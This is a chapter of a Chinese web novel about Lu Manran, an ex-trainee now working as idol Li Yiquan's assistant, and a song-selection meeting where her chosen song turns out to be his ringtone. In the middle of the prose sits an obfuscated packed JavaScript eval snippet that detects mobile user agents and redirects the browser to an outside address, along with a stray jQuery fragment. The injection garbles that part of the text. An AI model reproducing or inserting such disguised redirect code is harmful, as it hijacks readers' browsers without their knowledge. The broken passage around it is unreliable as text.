其实陆漫然在李亦泉上楼换衣服时，就感觉自己可以撤退了。让他上楼他也上了，让他认门他也认了，瞧见李亦泉下楼他心想终于能走了，在这屋子里待这么久还真是始料未及啊。这会听李亦泉问他选歌提议，才明白小领导是要和他讨论工作事宜呢。


    B、U、T，陆漫然前几年的心思都用在画漫画上，对流行音乐是真没什么了解，以前做练习生时唱的那些歌，如今想来都过时了吧。


    陆漫然犹豫再三，不敢冒然说话，其实李亦泉是希望他说“没什么想法要不我先撤明天再议”，这样她就可以挥一挥手让他带着云彩走了。结果陆卷毛不吭声，她不好意思直接赶人，两人就这么耗着，心里都腹诽着为什么对方这么没有眼力价。


    沉默了一会，高浓度的尴尬都快把两人呛死了，陆漫然的手机忽然响了。卷毛男生心道不管是保险打来做推销的还是中介打来问换房的，就算是移动打来做调查的，他都必须装成是他妈妈催他回家的才成。


    好在大晚上快十二点了，保险、中介和移动都下班了，打电话过来的就是陆妈妈。他妈质问他为什么这么晚还不回家，也不报个信。老两口知道他最近不混动漫业改混娱乐圈了，他们听说娱乐圈不干不净，怕他遇上潜规则。


    陆漫然心中好笑，要不是李亦泉在身边，真想告诉老妈，以他目前的地位和实力，还到不了潜别人的程度。结果陆妈妈仿佛看透他心中所想，电话那边大声说：“我清楚你潜不了别人，但别人看上你怎么办。据说那个圈子男的和男的，女的和女的，男男男和女女女都是可以的。”陆漫然大惊，没敢细想他妈妈最后那句到底是3P还是6P，赶紧挂了电话。


    他带着点脸红，不好意思地跟李亦泉说，他妈催他回家，心想他一个成年男子家里还有十二点的门禁，是不是显得有点巨婴。不过李亦泉没管那些，眼睛亮了一下问：“你手机铃声是什么音乐？”


    “哎？那个啊……”陆漫然找出音乐，开大音量放出来道，“是柯南的剧场版主题曲，叫《Timeaftertime》，前不久原唱在演唱会上重唱的现场版，我觉得很好听就下下来当铃声了。”


    李亦泉从没听过这首歌，陆漫然一说才想起来他是个柯南迷。


    “哇塞，有好多年了啊。”陆漫然一边放歌一边感慨道，“这部剧场版有好多好多年了，可能还是……还是咱们一起当练习生那会的片子呢。”


    李亦泉听到这句表情明显变化。陆漫然放的歌曲是一首日语歌，编曲婉转悠扬，原唱的声音有淡淡的沧桑和伤感。


    “你喜欢这首歌？”


    “特别喜欢！我觉得这是柯南里最好听的一首。”


    陆漫然笑得自在，盯着手机还轻轻哼了起来，李亦泉幽幽地问他：“你，你听得懂这歌唱的什么吗？”


    “啊？听不懂呀，哈哈。”


    在君山娱乐公司做练习生时，陆漫然简单地学过一点日语，不过现在全忘了。而李亦泉在日本有过两年的培训时间，基本的日语交流、对话完全无碍。她听见这首歌就像触电一般，陆漫然又提起练习生时期，她更是脑中犯空。


    陆漫然滔滔不绝地讲起这首歌的剧场版的剧情，他听不懂日语歌词，但李亦泉听得懂。别说柯南剧场版里演的什么吧，光听这首歌，李亦泉就神往了，因为歌词一开头的两句是：


    もしも君に巡り逢えたら二度と君の手を离さない


    如果上天让你我再次相遇，我绝不会再次放开你的手。


    -------


    那晚陆漫然放完歌就愉快地撤了，第二天赵天日给他打电话说，今天是第二次选歌会议，他下午两点直接到公司就行。


    陆漫然按时到了指定的会议室，反戴棒球帽的马哲和摄像们都来了，昨天说不会再来的大胡子武朗也来了，他就会在小年轻马哲面前装装逼。


    马哲看见陆漫然有点意外，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981030|193581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他俩之前在电视台打过交道，马哲问你怎么在这，陆漫然说自己现在是李亦泉的助理了。马哲诧愕地摘下用于装逼的棒球帽，露出一脸吃|屎的表情望着陆漫然。


    “我靠，你小子……混的这路线让哥有点看不明白啊？”


    他跟陆漫然年龄差不多，但在电视台的职位比群演高一些，总爱自诩为“大哥”。陆漫然当上李亦泉助理这事，一言半语解释不清，况且马哲这人在电视台待的，接人待物有点见风使舵、看人下菜，陆漫然不愿跟他多说。


    没过一会赵天日和编曲老师就来了，一同进来的还有李洪全。陆漫然好久没见过这个人，第一眼瞧见他竟然想着要不要起立鞠个躬。他这几年工作不顺，性子里多了点小心翼翼，在场个个都比他混得好，比他有能耐，陆漫然想要是没什么事，不如自己先遁了吧。


    他往门口瞟了一眼，恰好李亦泉进来了，她跟其他人围着圆桌坐下，没正眼瞧陆漫然，那人跟架好机器的摄像们乖乖坐在了圆桌外围。


    这次选歌会议和昨天的氛围有些不同，李洪全在业界多少有点名声，电视台的人比较心高气傲，见人行事，辈分规矩那一套特别多。李亦泉再红，名气再高，武朗根本不把她一个偶像歌手当角儿，到是对李洪全比较客气。


    上次选歌会议最大的矛盾点在于，君山公司想让李亦泉唱Sept.的歌，这既不是李亦泉的意思，也不是李洪全的意思，是苏文馨乃至公司高层的意思。昨天苏文馨松口说了“不打歌也可以”，这让选曲范围有了更多余地，今天李洪全亲自来，就是想尽快拍板定歌，让李亦泉有更多时间练习。


    “我废话就不多说了。”李洪全上来开门见山道，“今天我们没挑太多备选，因为亦泉强烈推荐了一首，我认为十分不错。”


    编曲老师打开电脑开始放歌，坐在外圈的陆漫然忽然愣住了，电脑里放的歌，正是他的手机铃声，《Timeaftertime》。